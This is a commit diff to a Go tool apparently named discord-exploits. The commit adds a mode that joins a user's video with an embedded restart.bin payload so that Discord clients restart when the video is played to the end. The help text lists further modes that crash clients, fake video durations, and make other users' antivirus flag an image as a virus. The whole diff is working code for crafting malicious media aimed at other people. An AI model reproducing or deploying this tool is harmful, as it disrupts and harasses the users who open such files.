Added mode to create restart video

exploits.go

@@ -5,8 +5,8 @@ import (
 	"github.com/Schmenn/discord-exploits/exploits"
 	"github.com/Schmenn/discord-exploits/modules"
 	"os"
-	"strings"
 	"path/filepath"
+	"strings"
 )
 
 var (
@@ -91,6 +91,15 @@ func initCommand(inputFile string, mode string) {
 			fmt.Println("completed task.")
 			os.Remove(out)
 
+		case "r":
+			fmt.Println("transcoding video from webm to mp4")
+			out := modules.Transcode(inputFile, "mp4")
+			fmt.Println("finished transcoding video from webm to mp4")
+			fmt.Println("editing video.")
+			exploits.RunRestartVideoTask(out)
+			fmt.Println("completed task.")
+			os.Remove(out)
+
 		default:
 			fmt.Println("the mode doesn't match the file")
 		}
@@ -130,6 +139,11 @@ func initCommand(inputFile string, mode string) {
 			exploits.RunCrashVideoTask(inputFile)
 			fmt.Println("completed task.")
 
+		case "r":
+			fmt.Println("editing video.")
+			exploits.RunRestartVideoTask(inputFile)
+			fmt.Println("completed task.")
+
 		default:
 			fmt.Println("the mode doesn't match the file")
 		}

exploits/restart-video.go

@@ -1 +1,45 @@
 package exploits
+
+import (
+	_ "embed" // embed
+	"fmt"
+	"os"
+	"os/exec"
+	"time"
+
+	"github.com/Schmenn/discord-exploits/modules"
+)
+
+//go:embed restart.bin
+var restartBin []byte
+
+// RunRestartVideoTask will concatenate a user-provided mpeg4 file and restart.bin to create a video which will
+// restart clients instead of crashing them. Requires that the base mpeg4 be encoded to yuv422p color space.
+func RunRestartVideoTask(filename string) {
+	binname := modules.CreateName("bin")
+	outname := modules.CreateName("mp4")
+	txtname := modules.CreateName("txt")
+	// prevent duplicate id
+	time.Sleep(time.Millisecond * 1)
+	reencode := modules.CreateName("mp4")
+
+	modules.CheckForFFmpeg()
+	cmd := exec.Command("ffmpeg", "-i", filename, "-pix_fmt", "yuv422p", reencode)
+	err := cmd.Run()
+	modules.Check(err)
+	err = os.WriteFile(txtname, []byte(`file '`+reencode+`'`+"\n"+`file '`+binname+`'`), 0777)
+	modules.Check(err)
+	err = os.WriteFile(binname, restartBin, 0777)
+	modules.Check(err)
+	cmd = exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
+	err = cmd.Run()
+	modules.Check(err)
+
+	err = os.Remove(binname)
+	modules.Check(err)
+	err = os.Remove(txtname)
+	modules.Check(err)
+	err = os.Remove(reencode)
+	modules.Check(err)
+	fmt.Println("Saved video to: " + outname)
+}

modules/help.go

@@ -19,6 +19,7 @@ func Help(progName string) {
 	fmt.Println("    n     takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration")
 	fmt.Println("    z, 0  takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration")
 	fmt.Println("    c     takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)")
+	fmt.Println("    r     takes input video (.webm or .mp4) and edits it so discord will immediately restart when you play it to the end (only works on some PCs)")
 	fmt.Println("  image:")
 	fmt.Println("    v     takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus")
 	fmt.Println("  audio:")